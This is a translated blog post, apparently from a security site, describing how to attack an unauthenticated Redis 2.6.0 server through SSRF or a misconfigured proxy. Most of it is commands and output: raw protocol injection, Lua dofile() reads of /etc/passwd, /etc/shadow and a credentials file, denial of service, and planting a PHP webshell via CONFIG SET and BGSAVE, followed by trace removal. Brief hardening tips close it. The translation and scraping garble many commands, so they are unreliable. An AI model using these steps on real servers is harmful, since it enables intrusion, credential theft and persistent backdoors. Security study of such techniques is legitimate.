I am a strong man

0x00 is written before


The article was translated, with some modifications and additions. If you are interested, you can read the original text directly. The link to the original text is at the bottom of the article.

0 x01 scene


We assume that there is an SSRF vulnerability or a poorly configured proxy server that allows an attacker to access the Redis service directly through HTTP requests. In the two hypothetical cases above, we are required to have at least one line of HTTP access requests completely controllable, which is easy to achieve. However, the command line client (Redis-CLI) does not support HTTP proxies, and we need to construct our own commands. These constructed statements, encapsulated in HTTP requests, are sent by proxy. All of the following tests are in Redis version 2.6.0, which is not the latest version, but is used by the target of our attack……

A brief introduction 0 x02 Redis


Redis is a NoSQL database. Data is stored in memory by key/value pairs. In the default configuration, an unauthenticated TCP/6379 port is opened when the service is running, which provides a “tolerant” interface. It tries to parse every input (until it times out or enters the ‘QUIT’ command to exit), and displays output like “-err unknown Command” for non-existent commands.

0x03 Target Recognition


When we exploit SSRF vulnerabilities or misconfigured proxy servers for further penetration, the first step is usually to scan for known services. As an attacker, knowing that the service only does port listening on the local loopback interface, using source-based authentication or assuming that this protection is minimal because it is not externally accessible. During the test, it was exciting to see the following logs:

-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'
Copy the code

As you can see, this output proves that the HTTP GET request method is executed as a valid command in Redis, but does not provide the correct parameters for the command. Other HTTP requests did not match the Redis command, and many “Unknown Command” error messages were displayed.

0x04 Basic Interaction


In the scenario constructed above, the HTTP requests that are made are almost completely controllable and are sent via a Squid proxy. There are two aspects to this

1) The constructed HTTP request must be valid in order for the squid proxy to handle the request. 2) The request to reach the Redis database is sent through the proxy. The simpler way is to use POST to submit the data, but injecting HTTP headers is also a good choice. Now, enter some basic commands (the ones in blue are the ones entered)

ECHO HELLO
$5
HELLO

TIME
*2
$10
1410273409
$6
380112

CONFIG GET pidfile
*2
$7
pidfile
$18
/var/run/redis.pid

SET my_key my_value
+OK

GET my_key
$8
my_value

QUIT
+OK
Copy the code

0x05 Exceeds the space limit


As you’ll notice, the server returns certain data, plus characters like “*2” or “$7,” which are returned according to the Redis protocol’s rules for binary data security, which you must use if you want to use parameters that contain Spaces.

For example, the command SET to SET the key to “foo bar” will fail with or without single and double quotes. Fortunately, some of the Redis protocol’s rules for binary security are simple:

* * * * * * * * * * * * * * * * * * * * * * * * * * Begin with "$" + characters in length (" $4" + CRLF) + string (" TIME "+ CRLF) - an integer: to" : "+ integer ASCII (" : 42" + CRLF)Copy the code

That’s all the rules

For example: Setting the key of “I am boring” to “with_space” is simple and easy to read using redis-cli

$redis-cli -h 127.0.0.1 -p 6379 set with_space 'I am boring' +OKCopy the code

Next we set the rule that *3 is a representation of the set command and construct the set with_space I am boring command based on the string expression for multiple arguments. This command is equivalent to the following command

$echo - e '$3 * 3 \ r \ n \ r \ nSET \ r \ n \ r \ $10 nwith_space \ r \ n $11 am boring \ r \ n \ r \ nI' | nc - n - q 127.0.0.1 6379 + 1 OKCopy the code

0x06 Information Collection


After paving the way, we can interact well with the server to get the information we want. Redis commands are useful, such as “INFO” and “CONFIG the GET (dir | dbfilename | logfile | pidfile)”. Here is the output of the execution “INFO” on the test machine

# Server redis_version:2.6.0 redis_git_SHA1:00000000 redis_git_dirty:0 redis_mode:standalone OS :Linux 3.2.0-61-generic-pae i686 arch_bits:32 multiplexing_API :epoll gcc_version:4.6.3 process_id:19114 run_id:5a29a860ccbe05b43dbe15c0674fb83df0449b25 tcp_port:6379 uptime_in_seconds:9806 uptime_in_days:0 lru_clock:518932 #  Clients connected_clients:1 client_longest_output_list:0 client_biggest_input_buf:1 blocked_clients:0 # Memory used_memory:661768 [...]Copy the code

The next step, of course, is the file system, where Redis can execute Lua scripts (in the sandbox) via the “EVAL” command. Sandbox allows the dofile() command. This command can view file and column directories. Since Redis has no special permissions, a “Permission denied” error message will be displayed when requesting /etc/shadow (related to the permissions of the user running the Redis service).

The EVAL "return dofile ('/etc/passwd)" 0 - ERR Error running script (call to f_afdc51b5f9e34eced5fae459fc1d856af181aaf1) : /etc/passwd:1: Function arguments Expected near ':' EVAL "return dofile('/etc/shadow')" 0 -ERR Error running script (call to f_9882e931901da86df9ae164705931dde018552cb): cannot open /etc/shadow: Permission Denied EVAL "return dofile('/var/ WWW /')" 0 -ERR Error Running script (call to f_8313d384df3ee98ed965706f61fc28dcffe81f23): cannot read /var/www/: Is a directory EVAL "return dofile('/var/www/tmp_upload/')" 0 -ERR Error running script (call to f_7acae0314580c07e65af001d53ccab85b9ad73b1): cannot open /var/www/tmp_upload/: No such file or directory EVAL "return dofile('/home/ubuntu/.bashrc')" 0 -ERR Error running script (call to f_274aea5728cae2627f7aac34e466835e7ec570d2): /home/ubuntu/.bashrc:2: unexpected symbol near '#'Copy the code

If a Lua script has a syntax error or tries to set a global variable, it will generate an error message, and we can get some of the information we want

The EVAL "return dofile ('/etc/issue ')" 0 - ERR Error running script (call to f_8a4872e08ffe0c2c5eda1751de819afe587ef07a) : /etc/issue:1: Malformed number near '12.04.4' EVAL "return dofile('/etc/lsb-release')" 0 -ERR Error running script (call to f_d486d29ccf27cca592a28676eba9fa49c0a02f08): /etc/lsb-release:1: Script CHS to access unexisting global variable 'Ubuntu' EVAL "return dofile('/etc/hosts')" 0 -ERR Error running Script (call to f_1c25ec3da3cade16a36d3873a44663df284f4f57) : / etc/hosts: 1: malformed number near '127.0.0.1'Copy the code

Another, but less common, case is to call dofile() to process a valid Lua file and return the pre-defined value, assuming there is a file called /var/data/app/db.conf

db = {
   login  = 'john.doe',
   passwd = 'Uber31337',
}
Copy the code

Get the value of passwd from the Lua script

EVAL dofile('/var/data/app/db.conf'); return(db.passwd); 0 +OK Uber31337Copy the code

This can also get some information about Unix standard files:

The EVAL "dofile ('/etc/environment); Return (PATH);" 0 +OK /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games EVAL "Dofile ('/home/ubuntu /. Selected_editor '); Return (SELECTED_EDITOR);" 0 +OK /usr/bin/nanoCopy the code

0x07 Brute Force Cracking


Redis provides a redis.sha1hex() function, which can be called by Lua scripts, so sha-1 can also be cracked by Redis servers. The code on the lot of adam_baldwin (https://github.com/evilpacket/redis-sha-crack), The description of the relevant principles in (need over the wall to visit http://fr.slideshare.net/evilpacket/ev1lsha-misadventures-in-the-land-of-lua

0x08 Dos


There are many Dos Redis methods, such as deleting data by calling shutdown.

Here are two more interesting examples:

1) On the control side of Redis, a call to dofile() with no arguments will read data from standard input and treat it as a Lua script. The server is still running, but does not process new connections until “^D” is read (or restarted) on the control side.

2) The Sha1hex() function can be overridden (this can be done on any client). Here is a Lua script for sha1hex() that returns a fixed value:

print(redis.sha1hex('secret'))
function redis.sha1hex (x)
   print('4242424242424242424242424242424242424242') 
end
print(redis.sha1hex('secret'))
Copy the code

On the control side of Redis

# First run e5e9fa1ba31ecd1ae84f75caaa474f3a663f05f4 4242424242424242424242424242424242424242 # Next runs 4242424242424242424242424242424242424242, 4242424242424242424242424242424242424242,Copy the code

0x09 Data Theft


If the Redis server stores interesting data (like session cookies or business data), you can retrieve the data by enumerating key values via GET.

0 x0a encryption


Lua uses completely predictable “random numbers,” as detailed in the evalGenericCommand() function of scripting

/* We want the same PRNG sequence at every call so that our PRNG is* not affected by external state. */
redisSrand48(0);
Copy the code

Each time a Lua script calls math.random(), it produces the same stream of random numbers:

0.17082803611217
0.74990198051087
0.09637165539729
0.87046522734243
0.57730350670279
[...]
Copy the code

0x0b Remote command execution


In order to execute commands on an open Redis server, there are three situations: first, the underlying bytecode can be modified, and virtual machine escape can be performed. (an example of Lua https://gist.github.com/corsix/6575486); Or bypass global protection and try to access some interesting functions.

Around global protection is easily (stackoverflow one example http://stackoverflow.com/questions/19997647/script-attempted-to-create-global-variable). However, such interesting modules do not load, and by the way, there are many interesting things here (http://lua-users.org/wiki/SandBoxes).

The third scenario is relatively easy to implement, exporting a semi-controlled file to hard disk, backing it up to a Webshell or overwriting a shell script in the root directory of the Web. The only difference is the file name and payload. The export method is the same, but it should be noted that the location of the log file cannot be changed after the startup. In fact, the contents of the database are backed up to hard disk at regular intervals to facilitate data recovery, depending on the configuration file or BGSAVE command

The following commands are commonly used: – Change the location of the backup file

CONFIG SET dir /var/www/uploads
CONGIG SET dbfilename sh.php
Copy the code

– Insert payload into the database

SET payload "Could be PHP or shell or whatever"Copy the code

– Export data to hard disk

BGSAVE
Copy the code

– Remove traces

DEL payload
CONFIG SET dir /var/redis
CONGIG SET dbfilename dump.rdb
Copy the code

However, there is a fatal problem. Redis has the “0600” permission on the dump data, so Apache cannot read it. (What do you think, Yuan Fang?)

0x0C About How to Detect Unauthorized Access to Redis on the Public Network


Redis runs on TCP port 6379 by default and requires port scanning. Determine whether the port is open. At the same time, Python has the module redis, which can write scripts to call the results of port scanning, and make a quick judgment on whether the Redis service can be directly accessed.

0x0D Some suggestions for configuring Redis security


Do not run Redis as rootCopy the code

Security configuration in the configuration file

Bind Specifies the IP address that redis listens on. Requirepass Specifies the password of the redis connection Info2 # Rename info to info2Copy the code

Source: http://www.agarri.fr/kom/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html reference: Redis protocol: http://redis.io/topics/protocol Redis command reference: http://redis.readthedocs.org/en/latest/